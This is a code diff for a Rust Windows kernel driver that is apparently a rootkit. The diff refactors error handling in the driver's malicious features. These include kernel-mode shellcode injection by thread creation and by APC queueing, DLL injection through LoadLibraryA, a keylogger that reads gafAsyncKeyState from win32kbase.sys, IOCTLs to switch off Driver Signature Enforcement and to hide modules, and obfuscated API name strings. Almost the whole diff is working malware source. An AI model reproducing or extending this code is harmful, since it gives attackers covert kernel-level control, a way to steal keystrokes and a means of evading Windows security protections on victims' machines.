||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MM_SHARED_VAD_FLAGS(u32);
|
||||
impl Debug;
|
||||
impl Default;
|
||||
u32;
|
||||
pub lock, set_lock: 1;
|
||||
pub lock_contended, set_lock_contended: 1;
|
||||
pub delete_in_progress, set_delete_in_progress: 1;
|
||||
pub no_change, set_no_change: 1;
|
||||
pub vad_type, set_vad_type: 6, 4;
|
||||
pub protection, set_protection: 11, 7;
|
||||
pub preferred_node, set_preferred_node: 18, 12;
|
||||
pub page_size, set_page_size: 19, 20;
|
||||
pub private_memory_always_set, set_private_memory: 21;
|
||||
pub private_fixup, set_private_fixup: 22;
|
||||
pub hot_patch_state, set_hot_patch_state: 24, 23;
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MMVAD_FLAGS(u32);
|
||||
impl Debug;
|
||||
u32;
|
||||
pub lock, set_lock: 0;
|
||||
pub lock_contended, set_lock_contended: 1;
|
||||
pub delete_in_progress, set_delete_in_progress: 2;
|
||||
pub no_change, set_no_change: 3;
|
||||
pub vad_type, set_vad_type: 6, 4;
|
||||
pub protection, set_protection: 11, 7;
|
||||
pub preferred_node, set_preferred_node: 18, 12;
|
||||
pub page_size, set_page_size: 19, 20;
|
||||
pub private_memory, set_private_memory: 21;
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MM_GRAPHICS_VAD_FLAGS(u32);
|
||||
impl Debug;
|
||||
impl Default;
|
||||
u32;
|
||||
pub lock, set_lock: 1;
|
||||
pub lock_contended, set_lock_contended: 1;
|
||||
pub delete_in_progress, set_delete_in_progress: 1;
|
||||
pub no_change, set_no_change: 1;
|
||||
pub vad_type, set_vad_type: 6, 4;
|
||||
pub protection, set_protection: 11, 7;
|
||||
pub preferred_node, set_preferred_node: 18, 12;
|
||||
pub page_size, set_page_size: 19, 20;
|
||||
pub private_memory_always_set, set_private_memory: 21;
|
||||
pub write_watch, set_write: 22;
|
||||
pub fixed_large_page_size, set_page_large: 23;
|
||||
pub zero_fill_pages_optional, set_zero_fill: 24;
|
||||
pub graphics_always_set, set_graphics: 25;
|
||||
pub graphics_use_coherent, set_graphics_use: 26;
|
||||
pub graphics_no_cache, set_graphics_no_cache: 27;
|
||||
pub graphics_page_protection, set_graphics_page_protection: 30, 28;
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MMVAD_FLAGS1(u32);
|
||||
impl Debug;
|
||||
pub commit_charge, set_commit_charge: 30, 0;
|
||||
pub mem_commit, set_mem_commit: 31;
|
||||
}
|
||||
}
|
||||
|
||||
pub mod types {
|
||||
@@ -172,33 +297,6 @@ pub mod types {
|
||||
system_argument1: *mut PVOID,
|
||||
system_argument2: *mut PVOID
|
||||
);
|
||||
|
||||
pub type ZwSuspendThreadType = unsafe extern "system" fn (
|
||||
ThreadHandle: HANDLE,
|
||||
PreviousSuspendCount: *mut u32,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type ZwResumeThreadType = unsafe extern "system" fn(
|
||||
ThreadHandle: HANDLE,
|
||||
PreviousSuspendCount: *mut u32,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type ZwCreateDebugObjectType = unsafe extern "system" fn(
|
||||
DebugObjectHandle: *mut HANDLE,
|
||||
DesiredAccess: ACCESS_MASK,
|
||||
ObjectAttributes: *mut OBJECT_ATTRIBUTES,
|
||||
Flags: BOOLEAN,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type ZwDebugActiveProcessType = unsafe extern "system" fn(
|
||||
ProcessHandle: HANDLE,
|
||||
DebugObjectHandle: HANDLE,
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type ZwRemoveProcessDebugType = unsafe extern "system" fn(
|
||||
ProcessHandle: HANDLE,
|
||||
DebugObjectHandle: HANDLE,
|
||||
) -> NTSTATUS;
|
||||
}
|
||||
|
||||
pub mod enums {
|
||||
@@ -280,16 +378,4 @@ extern "system" {
|
||||
object_attributes: *mut OBJECT_ATTRIBUTES,
|
||||
client_id: *mut CLIENT_ID
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub fn PsGetContextThread(
|
||||
Thread: PETHREAD,
|
||||
ThreadContext: *mut CONTEXT,
|
||||
Mode: KPROCESSOR_MODE
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub fn PsSetContextThread(
|
||||
Thread: PETHREAD,
|
||||
ThreadContext: *mut CONTEXT,
|
||||
Mode: KPROCESSOR_MODE
|
||||
) -> NTSTATUS;
|
||||
}
|
||||
|
||||
86
driver/src/includes/vad.rs
Normal file
86
driver/src/includes/vad.rs
Normal file
@@ -0,0 +1,86 @@
|
||||
use bitfield::bitfield;
|
||||
use wdk_sys::LIST_ENTRY;
|
||||
use super::structs::MMVAD_SHORT;
|
||||
use core::{ffi::c_void, mem::ManuallyDrop};
|
||||
|
||||
#[repr(C)]
|
||||
pub struct MMVAD {
|
||||
core: MMVAD_SHORT,
|
||||
u2: U2Union,
|
||||
pub subsection: *mut SUBSECTION
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union U2Union {
|
||||
long_flags2: u32,
|
||||
vad_flags2: ManuallyDrop<MMVAD_FLAGS2>
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct MMVAD_FLAGS2(u32);
|
||||
impl Debug;
|
||||
u32;
|
||||
pub file_offset, set_file_offset: 0, 23; // 24 bits
|
||||
pub large, set_large: 24; // 1 bit
|
||||
pub trim_behind, set_trim_behind: 25; // 1 bit
|
||||
pub inherit, set_inherit: 26; // 1 bit
|
||||
pub no_validation_needed, set_no_validation_needed: 27; // 1 bit
|
||||
pub private_demand_zero, set_private_demand_zero: 28; // 1 bit
|
||||
pub spare, set_spare: 29, 31; // 3 bits
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct SUBSECTION {
|
||||
pub control_area: *mut CONTROL_AREA,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union LIST_OR_AWE_CONTEXT {
|
||||
list_head: LIST_ENTRY,
|
||||
awe_context: *mut c_void,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union UUnion {
|
||||
long_flags: u32,
|
||||
flags: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union U1Union {
|
||||
long_flags: u32,
|
||||
flags: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CONTROL_AREA {
|
||||
segment: *mut *mut c_void,
|
||||
list_or_awe_context: LIST_OR_AWE_CONTEXT,
|
||||
number_of_section_references: u64,
|
||||
number_of_pfn_references: u64,
|
||||
number_of_mapped_views: u64,
|
||||
number_of_user_references: u64,
|
||||
u: UUnion,
|
||||
u1: U1Union,
|
||||
pub file_pointer: EX_FAST_REF
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union EX_FAST_REF_INNER {
|
||||
pub object: *mut c_void,
|
||||
pub value: u64,
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
#[repr(C)]
|
||||
pub struct ExFastRef(u64);
|
||||
impl Debug;
|
||||
|
||||
pub ref_cnt, set_ref_cnt: 0, 3;
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct EX_FAST_REF {
|
||||
pub inner: EX_FAST_REF_INNER,
|
||||
}
|
||||
@@ -1,9 +1,16 @@
|
||||
use {
|
||||
crate::{
|
||||
handle_injection,
|
||||
injection::{InjectionDLL, InjectionShellcode},
|
||||
utils::ioctls::IoctlHandler
|
||||
},
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::{ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD}, structs::TargetInjection},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
crate::{handle_injection, injection::{InjectionDLL, InjectionShellcode}, utils::ioctls::IoctlHandler},
|
||||
shared::{
|
||||
ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD},
|
||||
structs::TargetInjection
|
||||
},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}
|
||||
};
|
||||
|
||||
pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
@@ -11,25 +18,43 @@ pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Process injection using ZwCreateThreadEx.
|
||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
|
||||
|
||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
|
||||
// APC Injection.
|
||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
|
||||
|
||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
|
||||
// DLL injection using ZwCreateThreadEx.
|
||||
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
|
||||
|
||||
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
|
||||
}
|
||||
@@ -1,29 +1,28 @@
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use {
|
||||
crate::{
|
||||
includes::{
|
||||
enums::KAPC_ENVIROMENT::OriginalApcEnvironment, types::{
|
||||
ZwCreateThreadExType, PKNORMAL_ROUTINE
|
||||
}, KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,ZwProtectVirtualMemory
|
||||
},
|
||||
process::Process,
|
||||
utils::{
|
||||
find_thread_alertable, find_zw_function,
|
||||
get_module_peb, read_file, InitializeObjectAttributes
|
||||
}
|
||||
},
|
||||
callbacks::{kernel_apc_callback, user_apc_callback},
|
||||
core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut},
|
||||
obfstr::obfstr,
|
||||
shared::structs::TargetInjection,
|
||||
callbacks::{kernel_apc_callback, user_apc_callback},
|
||||
core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut},
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
ExAllocatePool2, IoGetCurrentProcess, ZwAllocateVirtualMemory,
|
||||
IoGetCurrentProcess, ZwAllocateVirtualMemory,
|
||||
ZwClose, ZwOpenProcess
|
||||
},
|
||||
_MODE::{KernelMode, UserMode}, *
|
||||
},
|
||||
crate::{
|
||||
includes::{
|
||||
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
|
||||
types::{ZwCreateThreadExType, PKNORMAL_ROUTINE},
|
||||
KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, ZwProtectVirtualMemory
|
||||
},
|
||||
process::Process,
|
||||
utils::{
|
||||
find_thread_alertable, get_module_peb, handles::Handle, patterns::find_zw_function, pool::PoolMemory, read_file, InitializeObjectAttributes
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
mod callbacks;
|
||||
@@ -41,19 +40,12 @@ impl InjectionShellcode {
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||
///
|
||||
pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS {
|
||||
pub unsafe fn injection_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
|
||||
let pid = (*target).pid;
|
||||
let path = &(*target).path;
|
||||
|
||||
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
|
||||
Some(addr) => addr as *mut c_void,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let target_eprocess = match Process::new(pid) {
|
||||
Some(e_process) => e_process,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)? as *mut c_void;
|
||||
let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
let mut h_process: HANDLE = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
@@ -64,21 +56,18 @@ impl InjectionShellcode {
|
||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
||||
return status;
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let shellcode = match read_file(path) {
|
||||
Ok(buffer) => buffer,
|
||||
Err(error) => return error
|
||||
};
|
||||
let h_process = Handle::new(h_process);
|
||||
|
||||
let mut base_address = null_mut();
|
||||
let shellcode = read_file(path)?;
|
||||
let mut region_size = shellcode.len() as u64;
|
||||
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
let mut base_address = null_mut();
|
||||
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
||||
ZwClose(h_process);
|
||||
return status;
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let mut result_number = 0;
|
||||
@@ -93,11 +82,10 @@ impl InjectionShellcode {
|
||||
);
|
||||
|
||||
let mut old_protect = 0;
|
||||
status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
|
||||
ZwClose(h_process);
|
||||
return status;
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||
@@ -107,7 +95,7 @@ impl InjectionShellcode {
|
||||
&mut h_thread,
|
||||
THREAD_ALL_ACCESS,
|
||||
&mut obj_attr,
|
||||
h_process,
|
||||
h_process.get(),
|
||||
transmute(base_address),
|
||||
null_mut(),
|
||||
0,
|
||||
@@ -118,14 +106,12 @@ impl InjectionShellcode {
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
||||
ZwClose(h_process);
|
||||
return status;
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
ZwClose(h_process);
|
||||
ZwClose(h_thread);
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Injection Shellcode in APC.
|
||||
@@ -136,42 +122,32 @@ impl InjectionShellcode {
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||
///
|
||||
pub unsafe fn injection_apc(target: *mut TargetInjection) -> NTSTATUS {
|
||||
pub unsafe fn injection_apc(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
|
||||
let pid = (*target).pid;
|
||||
let path = &(*target).path;
|
||||
let shellcode = match read_file(path) {
|
||||
Ok(buffer) => buffer,
|
||||
Err(error) => return error
|
||||
};
|
||||
let shellcode = read_file(path)?;
|
||||
let thread_id = find_thread_alertable(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
let thread_id = match find_thread_alertable(pid) {
|
||||
Some(tid) => tid,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let target_eprocess = match Process::new(pid) {
|
||||
Some(e_process) => e_process,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
let mut h_process: HANDLE = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
let mut client_id = CLIENT_ID {
|
||||
UniqueProcess: pid as _,
|
||||
UniqueThread: null_mut(),
|
||||
};
|
||||
|
||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
||||
return status;
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let h_process = Handle::new(h_process);
|
||||
let mut base_address = null_mut();
|
||||
let mut region_size = shellcode.len() as u64;
|
||||
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
||||
return status;
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let mut result_number = 0;
|
||||
@@ -185,17 +161,19 @@ impl InjectionShellcode {
|
||||
&mut result_number,
|
||||
);
|
||||
|
||||
let user_apc = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"krts")) as *mut KAPC;
|
||||
if user_apc.is_null() {
|
||||
log::error!("ExAllocatePool2 (User) Failed");
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"krts"))
|
||||
.map(|mem| mem.ptr as *mut KAPC)
|
||||
.ok_or_else(|| {
|
||||
log::error!("PoolMemory (User) Failed");
|
||||
STATUS_UNSUCCESSFUL
|
||||
})?;
|
||||
|
||||
let kernel_apc = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"urds")) as *mut KAPC;
|
||||
if kernel_apc.is_null() {
|
||||
log::error!("ExAllocatePool2 (Kernel) Failed");
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"urds"))
|
||||
.map(|mem| mem.ptr as *mut KAPC)
|
||||
.ok_or_else(|| {
|
||||
log::error!("PoolMemory (Kernel) Failed");
|
||||
STATUS_UNSUCCESSFUL
|
||||
})?;
|
||||
|
||||
KeInitializeApc(
|
||||
kernel_apc,
|
||||
@@ -221,15 +199,15 @@ impl InjectionShellcode {
|
||||
|
||||
if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) {
|
||||
log::error!("KeInsertQueueApc (User) Failed");
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) {
|
||||
log::error!("KeInsertQueueApc (Kernel) Failed");
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -245,24 +223,12 @@ impl InjectionDLL {
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||
///
|
||||
pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> NTSTATUS {
|
||||
pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
|
||||
let pid = (*target).pid;
|
||||
let path = (*target).path.as_bytes();
|
||||
|
||||
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
|
||||
Some(addr) => addr as *mut c_void,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let function_address = match get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")) {
|
||||
Some(addr) => addr,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let target_eprocess = match Process::new(pid) {
|
||||
Some(e_process) => e_process,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
let mut h_process: HANDLE = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
@@ -273,16 +239,17 @@ impl InjectionDLL {
|
||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
||||
return status;
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let h_process = Handle::new(h_process);
|
||||
|
||||
let mut base_address = null_mut();
|
||||
let mut region_size = (path.len() * size_of::<u16>()) as u64;
|
||||
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
||||
ZwClose(h_process);
|
||||
return status;
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let mut result_number = 0;
|
||||
@@ -297,11 +264,10 @@ impl InjectionDLL {
|
||||
);
|
||||
|
||||
let mut old_protect = 0;
|
||||
status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
|
||||
ZwClose(h_process);
|
||||
return status;
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||
@@ -311,7 +277,7 @@ impl InjectionDLL {
|
||||
&mut h_thread,
|
||||
THREAD_ALL_ACCESS,
|
||||
&mut obj_attr,
|
||||
h_process,
|
||||
h_process.get(),
|
||||
transmute(function_address),
|
||||
base_address,
|
||||
0,
|
||||
@@ -322,13 +288,11 @@ impl InjectionDLL {
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
||||
ZwClose(h_process);
|
||||
return status;
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
ZwClose(h_process);
|
||||
ZwClose(h_thread);
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -171,13 +171,12 @@ pub unsafe extern "system" fn shadow_entry(
|
||||
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
||||
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
||||
let status;
|
||||
|
||||
if let Some(handler) = IOCTL_MAP.get(&control_code) {
|
||||
status = handler(irp, stack);
|
||||
let status = if let Some(handler) = IOCTL_MAP.get(&control_code) {
|
||||
handler(irp, stack)
|
||||
} else {
|
||||
status = STATUS_INVALID_DEVICE_REQUEST;
|
||||
}
|
||||
STATUS_INVALID_DEVICE_REQUEST
|
||||
};
|
||||
|
||||
(*irp).IoStatus.__bindgen_anon_1.Status = status;
|
||||
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
use {
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
super::keylogger::set_keylogger_state,
|
||||
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
|
||||
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, structs::{Keylogger, DSE}},
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER},
|
||||
structs::{Keylogger, DSE}},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||
};
|
||||
|
||||
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
@@ -12,9 +13,15 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Responsible for enabling/disabling DSE.
|
||||
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENABLE_DSE");
|
||||
|
||||
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Start / Stop Keylogger
|
||||
|
||||
@@ -8,7 +8,7 @@ use {
|
||||
get_ks_byte, get_ks_down_bit,
|
||||
includes::MmCopyVirtualMemory,
|
||||
is_key_down, set_key_down,
|
||||
utils::{get_address_asynckey, get_module_base_address, get_process_by_name},
|
||||
utils::{address::{get_address_asynckey, get_module_base_address}, get_process_by_name},
|
||||
},
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
@@ -172,20 +172,10 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
||||
return None;
|
||||
}
|
||||
|
||||
let winlogon_eprocess = match WINLOGON_EPROCESS.as_ref() {
|
||||
Some(p) => p,
|
||||
None => return None
|
||||
};
|
||||
|
||||
let module_address = match get_module_base_address(obfstr!("win32kbase.sys")) {
|
||||
Some(addr) => addr,
|
||||
None => return None
|
||||
};
|
||||
let function_address = match get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address) {
|
||||
Some(addr) => addr,
|
||||
None => return None,
|
||||
};
|
||||
let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?;
|
||||
|
||||
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
|
||||
let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
|
||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 200);
|
||||
|
||||
KeStackAttachProcess(winlogon_eprocess.e_process, &mut apc_state);
|
||||
@@ -203,7 +193,6 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
||||
|
||||
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
||||
let gaf_async_key_state = new_base.cast::<u8>().offset(offset as isize);
|
||||
log::info!("gafAsyncKeyState address: {:?}", gaf_async_key_state);
|
||||
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
|
||||
@@ -225,5 +214,6 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
||||
///
|
||||
pub unsafe fn set_keylogger_state(info: *mut Keylogger) -> NTSTATUS {
|
||||
STATUS = (*info).enable;
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
@@ -1,17 +1,39 @@
|
||||
use {
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::{ioctls::IOCTL_ENUMERATE_MODULE, structs::{ModuleInfo, TargetProcess}},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
shared::{ioctls::{IOCTL_ENUMERATE_MODULE, IOCTL_HIDE_MODULE}, structs::{ModuleInfo, TargetProcess, TargetModule}},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||
crate::{handle_module, module::Module, utils::ioctls::IoctlHandler},
|
||||
};
|
||||
|
||||
